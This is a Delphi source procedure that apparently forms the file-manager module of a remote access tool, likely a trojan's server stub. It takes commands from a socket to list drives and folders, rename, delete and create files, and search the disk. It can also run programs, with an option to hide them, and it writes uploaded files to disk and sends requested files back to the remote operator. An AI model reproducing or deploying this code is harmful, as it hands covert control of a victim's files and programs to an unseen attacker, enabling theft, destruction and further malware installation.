procedure ParseFileManager(Thread: TThread; Socket: TClientSocket; Frame: TCommandFrame; Stream: TMemoryStream); var ReplyStream: TMemoryStream; Buffer: PChar; PBuffer: PChar; Drive: string; BufferSize, ReturnSize: dword; TypeBuffer: pointer; DriveCount: dword; FindData: TWIN32FindData; Path: string; FindStream: TMemoryStream; hFind: THandle; Application: string; Hidden: byte; FileStream: TFileStream; begin case Frame.Command of F_DRIVES: begin BufferSize := 1; GetMem(Buffer, BufferSize); try ReturnSize := GetLogicalDriveStrings(BufferSize, Buffer); if ReturnSize > BufferSize then begin BufferSize := ReturnSize; ReallocMem(Buffer, BufferSize); GetLogicalDriveStrings(BufferSize, Buffer); end; PBuffer := Buffer; DriveCount := 0; GetMem(TypeBuffer, 4); try while PBuffer^ <> #0 do begin Inc(DriveCount); ReallocMem(TypeBuffer, DriveCount * 4); Drive := string(PBuffer); dword(pointer(dword(TypeBuffer) + ((DriveCount - 1) * 4))^) := GetDriveType(pchar(Drive)); Inc(PBuffer, Length(PBuffer) + 1); end; DriveCount := DriveCount * 4; Frame.Len := 8 + BufferSize + DriveCount; ReplyStream := TMemoryStream.Create; ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame)); ReplyStream.WriteBuffer(BufferSize, 4); ReplyStream.WriteBuffer(Buffer^, BufferSize); ReplyStream.WriteBuffer(DriveCount, 4); ReplyStream.WriteBuffer(TypeBuffer^, DriveCount); SendStream(Socket, ReplyStream); ReplyStream.Free; finally FreeMem(TypeBuffer); end; finally FreeMem(Buffer); end; end; F_LIST: begin SetLength(Path, Stream.Size); Stream.ReadBuffer(pointer(Path)^, Stream.Size); hFind := FindFirstFile(pchar(Path), FindData); if hFind = INVALID_HANDLE_VALUE then begin ReplyStream := TMemoryStream.Create; Frame.Len := 0; ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame)); SendStream(Socket, ReplyStream); ReplyStream.Free; Exit; end; FindStream := TMemoryStream.Create; FindStream.WriteBuffer(FindData, SizeOf(TWIN32FindData)); while FindNextFile(hFind, FindData) = True do FindStream.WriteBuffer(FindData, SizeOf(TWIN32FindData)); ReplyStream := TMemoryStream.Create; Frame.Len := FindStream.Size; ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame)); ReplyStream.CopyFrom(FindStream, 0); FindStream.Free; SendStream(Socket, ReplyStream); ReplyStream.Free; end; F_RENAMEDIR: begin SetLength(Path, Stream.Size); Stream.ReadBuffer(pointer(Path)^, Stream.Size); RenameDirectory(Split(Path, '|', 1), Split(Path, '|', 2)); end; F_DELETEDIR: begin SetLength(Path, Stream.Size); Stream.ReadBuffer(pointer(Path)^, Stream.Size); DeleteDirectory(Path); end; F_RENAMEFILE: begin SetLength(Path, Stream.Size); Stream.ReadBuffer(pointer(Path)^, Stream.Size); MoveFile(pchar(Split(Path, '|', 1)), pchar(Split(Path, '|', 2))); end; F_DELETEFILE: begin SetLength(Path, Stream.Size); Stream.ReadBuffer(pointer(Path)^, Stream.Size); DeleteFile(pchar(Path)); end; F_CREATEDIR: begin SetLength(Path, Stream.Size); Stream.ReadBuffer(pointer(Path)^, Stream.Size); CreateDirectory(pchar(Path), nil); end; F_EXECUTE: begin SetLength(Path, Stream.Size); Stream.ReadBuffer(pointer(Path)^, Stream.Size); Application := Split(Path, '|', 1); Hidden := StrToInt(Split(Path, '|', 2)); WinExec(pchar(Application), Hidden); end; F_UPLOAD: begin Stream.ReadBuffer(BufferSize, 4); SetLength(Path, BufferSize); Stream.ReadBuffer(pointer(Path)^, BufferSize); FileStream := TFileStream.Create(Path, $FFFF); FileStream.CopyFrom(Stream, Stream.Size - Stream.Position); FileStream.Free; ReplyStream := TMemoryStream.Create; Frame.Len := 0; ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame)); SendStream(Socket, ReplyStream); ReplyStream.Free; end; F_DOWNLOAD: begin SetLength(Path, Stream.Size); Stream.ReadBuffer(pointer(Path)^, Stream.Size); ReplyStream := TMemoryStream.Create; FileStream := TFileStream.Create(Path, $0000); DriveCount := Length(Path) + 1; Frame.Len := 4 + DriveCount + FileStream.Size; ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame)); ReplyStream.WriteBuffer(DriveCount, 4); ReplyStream.WriteBuffer(pointer(Path)^, DriveCount); ReplyStream.CopyFrom(FileStream, 0); FileStream.Free; SendStream(Socket, ReplyStream); ReplyStream.Free; end; F_SEARCH: begin SetLength(Path, Stream.Size); Stream.ReadBuffer(pointer(Path)^, Stream.Size); FindStream := TMemoryStream.Create; SearchDirectories(Split(Path, '|', 1), Split(Path, '|', 2), FindStream); ReplyStream := TMemoryStream.Create; Frame.Len := FindStream.Size; ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame)); ReplyStream.CopyFrom(FindStream, 0); FindStream.Free; SendStream(Socket, ReplyStream); ReplyStream.Free; end; end; end;